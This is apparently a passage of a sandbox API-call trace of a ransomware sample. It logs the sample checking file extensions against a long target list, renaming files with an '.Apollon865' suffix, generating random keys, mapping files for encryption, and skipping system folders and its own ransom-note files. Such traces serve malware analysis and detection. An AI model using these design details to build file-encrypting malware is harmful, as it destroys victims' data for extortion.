	[0080.998] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0080.998] lstrlenW (lpString="db-wal") returned 6
	[0080.998] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0080.998] lstrlenW (lpString="dbc") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0080.998] lstrlenW (lpString="dbs") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0080.998] lstrlenW (lpString="dbt") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0080.999] lstrlenW (lpString="dbv") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0080.999] lstrlenW (lpString="dbx") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0080.999] lstrlenW (lpString="dcb") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0080.999] lstrlenW (lpString="dct") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0080.999] lstrlenW (lpString="dcx") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0080.999] lstrlenW (lpString="ddl") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0080.999] lstrlenW (lpString="dlis") returned 4
	[0080.999] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0080.999] lstrlenW (lpString="dp1") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0080.999] lstrlenW (lpString="dqy") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0080.999] lstrlenW (lpString="dsk") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0080.999] lstrlenW (lpString="dsn") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0080.999] lstrlenW (lpString="dtsx") returned 4
	[0080.999] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0080.999] lstrlenW (lpString="dxl") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0080.999] lstrlenW (lpString="eco") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0080.999] lstrlenW (lpString="ecx") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0080.999] lstrlenW (lpString="edb") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0080.999] lstrlenW (lpString="epim") returned 4
	[0080.999] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0080.999] lstrlenW (lpString="fcd") returned 3
	[0080.999] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.000] lstrlenW (lpString="fdb") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.000] lstrlenW (lpString="fic") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.000] lstrlenW (lpString="flexolibrary") returned 12
	[0081.000] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0081.000] lstrlenW (lpString="fm5") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.000] lstrlenW (lpString="fmp") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.000] lstrlenW (lpString="fmp12") returned 5
	[0081.000] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.000] lstrlenW (lpString="fmpsl") returned 5
	[0081.000] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.000] lstrlenW (lpString="fol") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.000] lstrlenW (lpString="fp3") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.000] lstrlenW (lpString="fp4") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.000] lstrlenW (lpString="fp5") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.000] lstrlenW (lpString="fp7") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.000] lstrlenW (lpString="fpt") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.000] lstrlenW (lpString="frm") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.000] lstrlenW (lpString="gdb") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.000] lstrlenW (lpString="gdb") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.000] lstrlenW (lpString="grdb") returned 4
	[0081.000] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.000] lstrlenW (lpString="gwi") returned 3
	[0081.000] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.000] lstrlenW (lpString="hdb") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.001] lstrlenW (lpString="his") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.001] lstrlenW (lpString="ib") returned 2
	[0081.001] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.001] lstrlenW (lpString="idb") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.001] lstrlenW (lpString="ihx") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.001] lstrlenW (lpString="itdb") returned 4
	[0081.001] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.001] lstrlenW (lpString="itw") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.001] lstrlenW (lpString="jet") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.001] lstrlenW (lpString="jtx") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.001] lstrlenW (lpString="kdb") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.001] lstrlenW (lpString="kexi") returned 4
	[0081.001] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.001] lstrlenW (lpString="kexic") returned 5
	[0081.001] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.001] lstrlenW (lpString="kexis") returned 5
	[0081.001] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.001] lstrlenW (lpString="lgc") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.001] lstrlenW (lpString="lwx") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.001] lstrlenW (lpString="maf") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.001] lstrlenW (lpString="maq") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.001] lstrlenW (lpString="mar") returned 3
	[0081.001] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.002] lstrlenW (lpString="marshal") returned 7
	[0081.002] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.002] lstrlenW (lpString="mas") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.002] lstrlenW (lpString="mav") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.002] lstrlenW (lpString="maw") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.002] lstrlenW (lpString="mdbhtml") returned 7
	[0081.002] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.002] lstrlenW (lpString="mdn") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.002] lstrlenW (lpString="mdt") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.002] lstrlenW (lpString="mfd") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.002] lstrlenW (lpString="mpd") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.002] lstrlenW (lpString="mrg") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.002] lstrlenW (lpString="mud") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.002] lstrlenW (lpString="mwb") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.002] lstrlenW (lpString="myd") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.002] lstrlenW (lpString="ndf") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.002] lstrlenW (lpString="nnt") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.002] lstrlenW (lpString="nrmlib") returned 6
	[0081.002] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.002] lstrlenW (lpString="ns2") returned 3
	[0081.002] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.002] lstrlenW (lpString="ns3") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.003] lstrlenW (lpString="ns4") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.003] lstrlenW (lpString="nsf") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.003] lstrlenW (lpString="nv") returned 2
	[0081.003] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.003] lstrlenW (lpString="nv2") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.003] lstrlenW (lpString="nwdb") returned 4
	[0081.003] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.003] lstrlenW (lpString="nyf") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.003] lstrlenW (lpString="odb") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.003] lstrlenW (lpString="odb") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.003] lstrlenW (lpString="oqy") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.003] lstrlenW (lpString="ora") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.003] lstrlenW (lpString="orx") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.003] lstrlenW (lpString="owc") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.003] lstrlenW (lpString="p96") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.003] lstrlenW (lpString="p97") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.003] lstrlenW (lpString="pan") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.003] lstrlenW (lpString="pdb") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.003] lstrlenW (lpString="pdm") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.003] lstrlenW (lpString="pnz") returned 3
	[0081.003] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.004] lstrlenW (lpString="qry") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.004] lstrlenW (lpString="qvd") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.004] lstrlenW (lpString="rbf") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.004] lstrlenW (lpString="rctd") returned 4
	[0081.004] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.004] lstrlenW (lpString="rod") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.004] lstrlenW (lpString="rodx") returned 4
	[0081.004] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.004] lstrlenW (lpString="rpd") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.004] lstrlenW (lpString="rsd") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.004] lstrlenW (lpString="sas7bdat") returned 8
	[0081.004] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.004] lstrlenW (lpString="sbf") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.004] lstrlenW (lpString="scx") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.004] lstrlenW (lpString="sdb") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.004] lstrlenW (lpString="sdc") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.004] lstrlenW (lpString="sdf") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.004] lstrlenW (lpString="sis") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.004] lstrlenW (lpString="spq") returned 3
	[0081.004] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.004] lstrlenW (lpString="te") returned 2
	[0081.004] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.004] lstrlenW (lpString="teacher") returned 7
	[0081.004] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.005] lstrlenW (lpString="tmd") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.005] lstrlenW (lpString="tps") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.005] lstrlenW (lpString="trc") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.005] lstrlenW (lpString="trc") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.005] lstrlenW (lpString="trm") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.005] lstrlenW (lpString="udb") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.005] lstrlenW (lpString="udl") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.005] lstrlenW (lpString="usr") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.005] lstrlenW (lpString="v12") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.005] lstrlenW (lpString="vis") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.005] lstrlenW (lpString="vpd") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.005] lstrlenW (lpString="vvv") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.005] lstrlenW (lpString="wdb") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.005] lstrlenW (lpString="wmdb") returned 4
	[0081.005] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.005] lstrlenW (lpString="wrk") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.005] lstrlenW (lpString="xdb") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.005] lstrlenW (lpString="xld") returned 3
	[0081.005] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.005] lstrlenW (lpString="xmlff") returned 5
	[0081.005] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.006] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.Apollon865") returned 83
	[0081.006] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.015] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.015] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=49504) returned 1
	[0081.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.015] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.016] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.016] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.016] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc460, lpName=0x0) returned 0x15c
	[0081.018] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc460) returned 0x100000
	[0081.021] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.022] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.022] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0081.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0081.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.022] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0081.023] CloseHandle (hObject=0x15c) returned 1
	[0081.023] CloseHandle (hObject=0x9c) returned 1
	[0081.023] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.023] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.023] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.023] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x248aaf00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x248aaf00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x16f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".") returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="..") returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="perflogs") returned -1
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0081.024] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0081.024] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned 72
	[0081.024] lstrcpyW (in: lpString1=0x119e670, lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll"
	[0081.024] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0081.024] lstrlenW (lpString="Apollon865") returned 10
	[0081.024] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0081.024] lstrlenW (lpString=".dll") returned 4
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0081.024] lstrlenW (lpString=".lnk") returned 4
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0081.024] lstrlenW (lpString=".ini") returned 4
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0081.024] lstrlenW (lpString=".sys") returned 4
	[0081.024] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0081.024] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0081.024] lstrlenW (lpString="bak") returned 3
	[0081.024] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.024] lstrlenW (lpString="ba_") returned 3
	[0081.024] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.024] lstrlenW (lpString="dbb") returned 3
	[0081.024] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.024] lstrlenW (lpString="vmdk") returned 4
	[0081.024] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.025] lstrlenW (lpString="rar") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.025] lstrlenW (lpString="zip") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.025] lstrlenW (lpString="tgz") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.025] lstrlenW (lpString="vbox") returned 4
	[0081.025] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.025] lstrlenW (lpString="vdi") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.025] lstrlenW (lpString="vhd") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.025] lstrlenW (lpString="vhdx") returned 4
	[0081.025] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.025] lstrlenW (lpString="avhd") returned 4
	[0081.025] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.025] lstrlenW (lpString="db") returned 2
	[0081.025] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.025] lstrlenW (lpString="db2") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.025] lstrlenW (lpString="db3") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.025] lstrlenW (lpString="dbf") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.025] lstrlenW (lpString="mdf") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.025] lstrlenW (lpString="mdb") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.025] lstrlenW (lpString="sql") returned 3
	[0081.025] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.025] lstrlenW (lpString="sqlite") returned 6
	[0081.025] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.025] lstrlenW (lpString="sqlite3") returned 7
	[0081.025] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.025] lstrlenW (lpString="sqlitedb") returned 8
	[0081.026] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.026] lstrlenW (lpString="xml") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.026] lstrlenW (lpString="$er") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.026] lstrlenW (lpString="4dd") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.026] lstrlenW (lpString="4dl") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.026] lstrlenW (lpString="^^^") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.026] lstrlenW (lpString="abs") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.026] lstrlenW (lpString="abx") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.026] lstrlenW (lpString="accdb") returned 5
	[0081.026] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.026] lstrlenW (lpString="accdc") returned 5
	[0081.026] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.026] lstrlenW (lpString="accde") returned 5
	[0081.026] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.026] lstrlenW (lpString="accdr") returned 5
	[0081.026] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.026] lstrlenW (lpString="accdt") returned 5
	[0081.026] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.026] lstrlenW (lpString="accdw") returned 5
	[0081.026] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.026] lstrlenW (lpString="accft") returned 5
	[0081.026] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.026] lstrlenW (lpString="adb") returned 3
